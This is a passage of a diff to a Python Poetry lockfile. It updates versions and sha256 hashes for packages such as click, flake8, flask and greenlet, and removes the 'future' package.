"sha256:82d8fd25b7f4675d0c47cf95b594d4e7b158aca33b76aa63d07186e13c0e0ab7"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b3daeac64d5b371dea99714f08ffc2c208522ec6b06fbc7866a450dd446f5c0f"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:dccab8d5fa1ef9bfba0590ecf4d46df048d18ffe3eec01eeb73a42e0d9e7a8ba"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:aaf27faa992bfee0264dc1f03f4c75e9fcdda66a519db6b957a3f826e285cf12"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:eb30abc20df9ab0814b5a2524f23d75dcf83cde762c161917a2b4b7b55b1e518"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:c72fbbe68c6f32f251bdc08b8611c7b3060612236e960ef848e0a517ddbe76c5"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:982bb1e8b4ffda883b3d0a521e23abcd6fd17418f6d2c4118d257a10199c0ce3"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-win32.whl", hash = "sha256:43e0933a0eff183ee85833f341ec567c0980dae57c464d8a508e1b2ceb336471"}, + {file = "charset_normalizer-3.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:d11b54acf878eef558599658b0ffca78138c8c3655cf4f3a4a673c437e67732e"}, + {file = "charset_normalizer-3.4.2-py3-none-any.whl", hash = "sha256:7f56930ab0abd1c45cd15be65cc741c28b1c9a34876ce8c17a2fa107810c0af0"}, + {file = "charset_normalizer-3.4.2.tar.gz", hash = "sha256:5baececa9ecba31eff645232d59845c07aa030f0c81ee70184a90d35099a0e63"}, ] [[package]] name = "click" -version = "8.1.8" +version = "8.2.1" description = "Composable command line interface toolkit" optional = false -python-versions = ">=3.7" +python-versions = ">=3.10" groups = ["main", "dev"] files = [ - {file = "click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2"}, - {file = "click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a"}, + {file = "click-8.2.1-py3-none-any.whl", hash = "sha256:61a3265b914e850b85317d0b3109c7f8cd35a670f963866005d6ef1d5175a12b"}, + {file = "click-8.2.1.tar.gz", hash = "sha256:27c491cc05d968d271d5a1db13e3b5a184636d9d930f148c50b038f0d0646202"}, ] [package.dependencies] @@ -682,154 +747,128 @@ files = [ [[package]] name = "exceptiongroup" -version = "1.2.2" +version = "1.3.0" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" groups = ["dev"] markers = "python_version < \"3.11\"" files = [ - {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, - {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, + {file = "exceptiongroup-1.3.0-py3-none-any.whl", hash = "sha256:4d111e6e0c13d0644cad6ddaa7ed0261a0b36971f6d23e7ec9b4b9097da78a10"}, + {file = "exceptiongroup-1.3.0.tar.gz", hash = "sha256:b241f5885f560bc56a59ee63ca4c6a8bfa46ae4ad651af316d4e81817bb9fd88"}, ] +[package.dependencies] +typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} + [package.extras] test = ["pytest (>=6)"] [[package]] name = "flake8" -version = "7.1.2" +version = "7.2.0" description = "the modular source code checker: pep8 pyflakes and co" optional = false -python-versions = ">=3.8.1" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "flake8-7.1.2-py2.py3-none-any.whl", hash = "sha256:1cbc62e65536f65e6d754dfe6f1bada7f5cf392d6f5db3c2b85892466c3e7c1a"}, - {file = "flake8-7.1.2.tar.gz", hash = "sha256:c586ffd0b41540951ae41af572e6790dbd49fc12b3aa2541685d253d9bd504bd"}, + {file = "flake8-7.2.0-py2.py3-none-any.whl", hash = "sha256:93b92ba5bdb60754a6da14fa3b93a9361fd00a59632ada61fd7b130436c40343"}, + {file = "flake8-7.2.0.tar.gz", hash = "sha256:fa558ae3f6f7dbf2b4f22663e5343b6b6023620461f8d4ff2019ef4b5ee70426"}, ] [package.dependencies] mccabe = ">=0.7.0,<0.8.0" -pycodestyle = ">=2.12.0,<2.13.0" -pyflakes = ">=3.2.0,<3.3.0" +pycodestyle = ">=2.13.0,<2.14.0" +pyflakes = ">=3.3.0,<3.4.0" [[package]] name = "flask" -version = "3.1.0" +version = "3.1.1" description = "A simple framework for building complex web applications." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "flask-3.1.0-py3-none-any.whl", hash = "sha256:d667207822eb83f1c4b50949b1623c8fc8d51f2341d65f72e1a1815397551136"}, - {file = "flask-3.1.0.tar.gz", hash = "sha256:5f873c5184c897c8d9d1b05df1e3d01b14910ce69607a117bd3277098a5836ac"}, + {file = "flask-3.1.1-py3-none-any.whl", hash = "sha256:07aae2bb5eaf77993ef57e357491839f5fd9f4dc281593a81a9e4d79a24f295c"}, + {file = "flask-3.1.1.tar.gz", hash = "sha256:284c7b8f2f58cb737f0cf1c30fd7eaf0ccfcde196099d24ecede3fc2005aa59e"}, ] [package.dependencies] -blinker = ">=1.9" +blinker = ">=1.9.0" click = ">=8.1.3" -itsdangerous = ">=2.2" -Jinja2 = ">=3.1.2" -Werkzeug = ">=3.1" +itsdangerous = ">=2.2.0" +jinja2 = ">=3.1.2" +markupsafe = ">=2.1.1" +werkzeug = ">=3.1.0" [package.extras] async = ["asgiref (>=3.2)"] dotenv = ["python-dotenv"] -[[package]] -name = "future" -version = "1.0.0" -description = "Clean single-source support for Python 3 and 2" -optional = false -python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" -groups = ["main"] -files = [ - {file = "future-1.0.0-py3-none-any.whl", hash = "sha256:929292d34f5872e70396626ef385ec22355a1fae8ad29e1a734c3e43f9fbc216"}, - {file = "future-1.0.0.tar.gz", hash = "sha256:bd2968309307861edae1458a4f8a4f3598c03be43b97521076aebf5d94c07b05"}, -] - [[package]] name = "greenlet" -version = "3.1.1" +version = "3.2.2" description = "Lightweight in-process concurrent programming" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" groups = ["main"] markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")" files = [ - {file = "greenlet-3.1.1-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:0bbae94a29c9e5c7e4a2b7f0aae5c17e8e90acbfd3bf6270eeba60c39fce3563"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fde093fb93f35ca72a556cf72c92ea3ebfda3d79fc35bb19fbe685853869a83"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:36b89d13c49216cadb828db8dfa6ce86bbbc476a82d3a6c397f0efae0525bdd0"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94b6150a85e1b33b40b1464a3f9988dcc5251d6ed06842abff82e42632fac120"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:93147c513fac16385d1036b7e5b102c7fbbdb163d556b791f0f11eada7ba65dc"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:da7a9bff22ce038e19bf62c4dd1ec8391062878710ded0a845bcf47cc0200617"}, - {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b2795058c23988728eec1f36a4e5e4ebad22f8320c85f3587b539b9ac84128d7"}, - {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:ed10eac5830befbdd0c32f83e8aa6288361597550ba669b04c48f0f9a2c843c6"}, - {file = "greenlet-3.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:77c386de38a60d1dfb8e55b8c1101d68c79dfdd25c7095d51fec2dd800892b80"}, - {file = "greenlet-3.1.1-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:e4d333e558953648ca09d64f13e6d8f0523fa705f51cae3f03b5983489958c70"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:09fc016b73c94e98e29af67ab7b9a879c307c6731a2c9da0db5a7d9b7edd1159"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5e975ca70269d66d17dd995dafc06f1b06e8cb1ec1e9ed54c1d1e4a7c4cf26e"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3b2813dc3de8c1ee3f924e4d4227999285fd335d1bcc0d2be6dc3f1f6a318ec1"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e347b3bfcf985a05e8c0b7d462ba6f15b1ee1c909e2dcad795e49e91b152c383"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9e8f8c9cb53cdac7ba9793c276acd90168f416b9ce36799b9b885790f8ad6c0a"}, - {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:62ee94988d6b4722ce0028644418d93a52429e977d742ca2ccbe1c4f4a792511"}, - {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1776fd7f989fc6b8d8c8cb8da1f6b82c5814957264d1f6cf818d475ec2bf6395"}, - {file = "greenlet-3.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:48ca08c771c268a768087b408658e216133aecd835c0ded47ce955381105ba39"}, - {file = "greenlet-3.1.1-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:4afe7ea89de619adc868e087b4d2359282058479d7cfb94970adf4b55284574d"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f406b22b7c9a9b4f8aa9d2ab13d6ae0ac3e85c9a809bd590ad53fed2bf70dc79"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c3a701fe5a9695b238503ce5bbe8218e03c3bcccf7e204e455e7462d770268aa"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2846930c65b47d70b9d178e89c7e1a69c95c1f68ea5aa0a58646b7a96df12441"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99cfaa2110534e2cf3ba31a7abcac9d328d1d9f1b95beede58294a60348fba36"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1443279c19fca463fc33e65ef2a935a5b09bb90f978beab37729e1c3c6c25fe9"}, - {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b7cede291382a78f7bb5f04a529cb18e068dd29e0fb27376074b6d0317bf4dd0"}, - {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:23f20bb60ae298d7d8656c6ec6db134bca379ecefadb0b19ce6f19d1f232a942"}, - {file = "greenlet-3.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:7124e16b4c55d417577c2077be379514321916d5790fa287c9ed6f23bd2ffd01"}, - {file = "greenlet-3.1.1-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:05175c27cb459dcfc05d026c4232f9de8913ed006d42713cb8a5137bd49375f1"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:935e943ec47c4afab8965954bf49bfa639c05d4ccf9ef6e924188f762145c0ff"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:667a9706c970cb552ede35aee17339a18e8f2a87a51fba2ed39ceeeb1004798a"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8a678974d1f3aa55f6cc34dc480169d58f2e6d8958895d68845fa4ab566509e"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efc0f674aa41b92da8c49e0346318c6075d734994c3c4e4430b1c3f853e498e4"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0153404a4bb921f0ff1abeb5ce8a5131da56b953eda6e14b88dc6bbc04d2049e"}, - {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:275f72decf9932639c1c6dd1013a1bc266438eb32710016a1c742df5da6e60a1"}, - {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:c4aab7f6381f38a4b42f269057aee279ab0fc7bf2e929e3d4abfae97b682a12c"}, - {file = "greenlet-3.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:b42703b1cf69f2aa1df7d1030b9d77d3e584a70755674d60e710f0af570f3761"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1695e76146579f8c06c1509c7ce4dfe0706f49c6831a817ac04eebb2fd02011"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7876452af029456b3f3549b696bb36a06db7c90747740c5302f74a9e9fa14b13"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4ead44c85f8ab905852d3de8d86f6f8baf77109f9da589cb4fa142bd3b57b475"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8320f64b777d00dd7ccdade271eaf0cad6636343293a25074cc5566160e4de7b"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6510bf84a6b643dabba74d3049ead221257603a253d0a9873f55f6a59a65f822"}, - {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:04b013dc07c96f83134b1e99888e7a79979f1a247e2a9f59697fa14b5862ed01"}, - {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:411f015496fec93c1c8cd4e5238da364e1da7a124bcb293f085bf2860c32c6f6"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:47da355d8687fd65240c364c90a31569a133b7b60de111c255ef5b606f2ae291"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:98884ecf2ffb7d7fe6bd517e8eb99d31ff7855a840fa6d0d63cd07c037f6a981"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f1d4aeb8891338e60d1ab6127af1fe45def5259def8094b9c7e34690c8858803"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db32b5348615a04b82240cc67983cb315309e88d444a288934ee6ceaebcad6cc"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dcc62f31eae24de7f8dce72134c8651c58000d3b1868e01392baea7c32c247de"}, - {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:1d3755bcb2e02de341c55b4fca7a745a24a9e7212ac953f6b3a48d117d7257aa"}, - {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:b8da394b34370874b4572676f36acabac172602abf054cbc4ac910219f3340af"}, - {file = "greenlet-3.1.1-cp37-cp37m-win32.whl", hash = "sha256:a0dfc6c143b519113354e780a50381508139b07d2177cb6ad6a08278ec655798"}, - {file = "greenlet-3.1.1-cp37-cp37m-win_amd64.whl", hash = "sha256:54558ea205654b50c438029505def3834e80f0869a70fb15b871c29b4575ddef"}, - {file = "greenlet-3.1.1-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:346bed03fe47414091be4ad44786d1bd8bef0c3fcad6ed3dee074a032ab408a9"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfc59d69fc48664bc693842bd57acfdd490acafda1ab52c7836e3fc75c90a111"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d21e10da6ec19b457b82636209cbe2331ff4306b54d06fa04b7c138ba18c8a81"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:37b9de5a96111fc15418819ab4c4432e4f3c2ede61e660b1e33971eba26ef9ba"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ef9ea3f137e5711f0dbe5f9263e8c009b7069d8a1acea822bd5e9dae0ae49c8"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85f3ff71e2e60bd4b4932a043fbbe0f499e263c628390b285cb599154a3b03b1"}, - {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:95ffcf719966dd7c453f908e208e14cde192e09fde6c7186c8f1896ef778d8cd"}, - {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:03a088b9de532cbfe2ba2034b2b85e82df37874681e8c470d6fb2f8c04d7e4b7"}, - {file = "greenlet-3.1.1-cp38-cp38-win32.whl", hash = "sha256:8b8b36671f10ba80e159378df9c4f15c14098c4fd73a36b9ad715f057272fbef"}, - {file = "greenlet-3.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:7017b2be767b9d43cc31416aba48aab0d2309ee31b4dbf10a1d38fb7972bdf9d"}, - {file = "greenlet-3.1.1-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:396979749bd95f018296af156201d6211240e7a23090f50a8d5d18c370084dc3"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca9d0ff5ad43e785350894d97e13633a66e2b50000e8a183a50a88d834752d42"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f6ff3b14f2df4c41660a7dec01045a045653998784bf8cfcb5a525bdffffbc8f"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94ebba31df2aa506d7b14866fed00ac141a867e63143fe5bca82a8e503b36437"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:73aaad12ac0ff500f62cebed98d8789198ea0e6f233421059fa68a5aa7220145"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63e4844797b975b9af3a3fb8f7866ff08775f5426925e1e0bbcfe7932059a12c"}, - {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7939aa3ca7d2a1593596e7ac6d59391ff30281ef280d8632fa03d81f7c5f955e"}, - {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d0028e725ee18175c6e422797c407874da24381ce0690d6b9396c204c7f7276e"}, - {file = "greenlet-3.1.1-cp39-cp39-win32.whl", hash = "sha256:5e06afd14cbaf9e00899fae69b24a32f2196c19de08fcb9f4779dd4f004e5e7c"}, - {file = "greenlet-3.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:3319aa75e0e0639bc15ff54ca327e8dc7a6fe404003496e3c6925cd3142e0e22"}, - {file = "greenlet-3.1.1.tar.gz", hash = "sha256:4ce3ac6cdb6adf7946475d7ef31777c26d94bccc377e070a7986bd2d5c515467"}, + {file = "greenlet-3.2.2-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:c49e9f7c6f625507ed83a7485366b46cbe325717c60837f7244fc99ba16ba9d6"}, + {file = "greenlet-3.2.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c3cc1a3ed00ecfea8932477f729a9f616ad7347a5e55d50929efa50a86cb7be7"}, + {file = "greenlet-3.2.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c9896249fbef2c615853b890ee854f22c671560226c9221cfd27c995db97e5c"}, + {file = "greenlet-3.2.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7409796591d879425997a518138889d8d17e63ada7c99edc0d7a1c22007d4907"}, + {file = "greenlet-3.2.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7791dcb496ec53d60c7f1c78eaa156c21f402dda38542a00afc3e20cae0f480f"}, + {file = "greenlet-3.2.2-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d8009ae46259e31bc73dc183e402f548e980c96f33a6ef58cc2e7865db012e13"}, + {file = "greenlet-3.2.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:fd9fb7c941280e2c837b603850efc93c999ae58aae2b40765ed682a6907ebbc5"}, + {file = "greenlet-3.2.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:00cd814b8959b95a546e47e8d589610534cfb71f19802ea8a2ad99d95d702057"}, + {file = "greenlet-3.2.2-cp310-cp310-win_amd64.whl", hash = "sha256:d0cb7d47199001de7658c213419358aa8937df767936506db0db7ce1a71f4a2f"}, + {file = "greenlet-3.2.2-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:dcb9cebbf3f62cb1e5afacae90761ccce0effb3adaa32339a0670fe7805d8068"}, + {file = "greenlet-3.2.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf3fc9145141250907730886b031681dfcc0de1c158f3cc51c092223c0f381ce"}, + {file = "greenlet-3.2.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:efcdfb9df109e8a3b475c016f60438fcd4be68cd13a365d42b35914cdab4bb2b"}, + {file = "greenlet-3.2.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4bd139e4943547ce3a56ef4b8b1b9479f9e40bb47e72cc906f0f66b9d0d5cab3"}, + {file = "greenlet-3.2.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71566302219b17ca354eb274dfd29b8da3c268e41b646f330e324e3967546a74"}, + {file = "greenlet-3.2.2-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3091bc45e6b0c73f225374fefa1536cd91b1e987377b12ef5b19129b07d93ebe"}, + {file = "greenlet-3.2.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:44671c29da26539a5f142257eaba5110f71887c24d40df3ac87f1117df589e0e"}, + {file = "greenlet-3.2.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c23ea227847c9dbe0b3910f5c0dd95658b607137614eb821e6cbaecd60d81cc6"}, + {file = "greenlet-3.2.2-cp311-cp311-win_amd64.whl", hash = "sha256:0a16fb934fcabfdfacf21d79e6fed81809d8cd97bc1be9d9c89f0e4567143d7b"}, + {file = "greenlet-3.2.2-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:df4d1509efd4977e6a844ac96d8be0b9e5aa5d5c77aa27ca9f4d3f92d3fcf330"}, + {file = "greenlet-3.2.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da956d534a6d1b9841f95ad0f18ace637668f680b1339ca4dcfb2c1837880a0b"}, + {file = "greenlet-3.2.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9c7b15fb9b88d9ee07e076f5a683027bc3befd5bb5d25954bb633c385d8b737e"}, + {file = "greenlet-3.2.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:752f0e79785e11180ebd2e726c8a88109ded3e2301d40abced2543aa5d164275"}, + {file = "greenlet-3.2.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ae572c996ae4b5e122331e12bbb971ea49c08cc7c232d1bd43150800a2d6c65"}, + {file = "greenlet-3.2.2-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:02f5972ff02c9cf615357c17ab713737cccfd0eaf69b951084a9fd43f39833d3"}, + {file = "greenlet-3.2.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:4fefc7aa68b34b9224490dfda2e70ccf2131368493add64b4ef2d372955c207e"}, + {file = "greenlet-3.2.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:a31ead8411a027c2c4759113cf2bd473690517494f3d6e4bf67064589afcd3c5"}, + {file = "greenlet-3.2.2-cp312-cp312-win_amd64.whl", hash = "sha256:b24c7844c0a0afc3ccbeb0b807adeefb7eff2b5599229ecedddcfeb0ef333bec"}, + {file = "greenlet-3.2.2-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:3ab7194ee290302ca15449f601036007873028712e92ca15fc76597a0aeb4c59"}, + {file = "greenlet-3.2.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2dc5c43bb65ec3669452af0ab10729e8fdc17f87a1f2ad7ec65d4aaaefabf6bf"}, + {file = "greenlet-3.2.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:decb0658ec19e5c1f519faa9a160c0fc85a41a7e6654b3ce1b44b939f8bf1325"}, + {file = "greenlet-3.2.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6fadd183186db360b61cb34e81117a096bff91c072929cd1b529eb20dd46e6c5"}, + {file = "greenlet-3.2.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1919cbdc1c53ef739c94cf2985056bcc0838c1f217b57647cbf4578576c63825"}, + {file = "greenlet-3.2.2-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3885f85b61798f4192d544aac7b25a04ece5fe2704670b4ab73c2d2c14ab740d"}, + {file = "greenlet-3.2.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:85f3e248507125bf4af607a26fd6cb8578776197bd4b66e35229cdf5acf1dfbf"}, + {file = "greenlet-3.2.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:1e76106b6fc55fa3d6fe1c527f95ee65e324a13b62e243f77b48317346559708"}, + {file = "greenlet-3.2.2-cp313-cp313-win_amd64.whl", hash = "sha256:fe46d4f8e94e637634d54477b0cfabcf93c53f29eedcbdeecaf2af32029b4421"}, + {file = "greenlet-3.2.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba30e88607fb6990544d84caf3c706c4b48f629e18853fc6a646f82db9629418"}, + {file = "greenlet-3.2.2-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:055916fafad3e3388d27dd68517478933a97edc2fc54ae79d3bec827de2c64c4"}, + {file = "greenlet-3.2.2-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2593283bf81ca37d27d110956b79e8723f9aa50c4bcdc29d3c0543d4743d2763"}, + {file = "greenlet-3.2.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89c69e9a10670eb7a66b8cef6354c24671ba241f46152dd3eed447f79c29fb5b"}, + {file = "greenlet-3.2.2-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:02a98600899ca1ca5d3a2590974c9e3ec259503b2d6ba6527605fcd74e08e207"}, + {file = "greenlet-3.2.2-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:b50a8c5c162469c3209e5ec92ee4f95c8231b11db6a04db09bbe338176723bb8"}, + {file = "greenlet-3.2.2-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = 